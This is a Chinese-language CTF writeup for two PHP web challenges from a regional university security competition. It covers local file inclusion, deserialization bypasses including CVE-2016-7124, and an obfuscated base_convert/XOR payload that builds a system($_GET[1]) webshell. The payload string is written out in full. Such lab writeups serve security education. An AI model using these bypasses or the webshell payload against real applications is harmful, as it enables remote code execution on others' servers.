第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup
JustSoso
1 | // index.php |
1 | // hint.php |
GET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码
发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化
有三处需要绕过:
- parse_url 三斜杠绕过, 常规
__wakeup
绕过,CVE-2016-7124- 每次调用getFlag token_flag都会随机变化,可以将token赋值为token_flag 的引用绕过
故exploit如下:
1 |
|
love the math
1 | // calc.php |
观察发现如下限制:
- payload长度不可超过80
- 可以执行任何数学函数
- 有部分字符不可用(
$blacklist
)
由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出
应当取能够返回字符串的数学函数, 加以拼接得到期望值
题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload
观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。
其中利用base_convert能获取更大的字符集, 但也更长
原型:base_convert(number,frombase,tobase)
可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入
验证: url:/calc.php?c=base_convert(55490343972,10,36)()
可以执行phpinfo
比赛时受师傅的引导,将echo file_get_contents缩短为readfile,成功获得了flag
其实应该是可以RCE的
php >
echo base_convert('system', 36, 10);
1751504350
考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。
于是目的是:将两个[a-z0-9]*
字符串异或得到_GET
,利用_GET{param}
获取到另一参数中引入的更长字串
进行fuzz, fuzz代码:
1 | $table = "0123456789abcdefghijklmnopqrstuvwxyz"; |
得到"1000"^"nwud" == "_GET"
所以能够构造出一句话payload:
base_convert(1751504350,28,10)(${decoct(512)^base_convert(862402,10,33)}{1})
即system($_GET[1])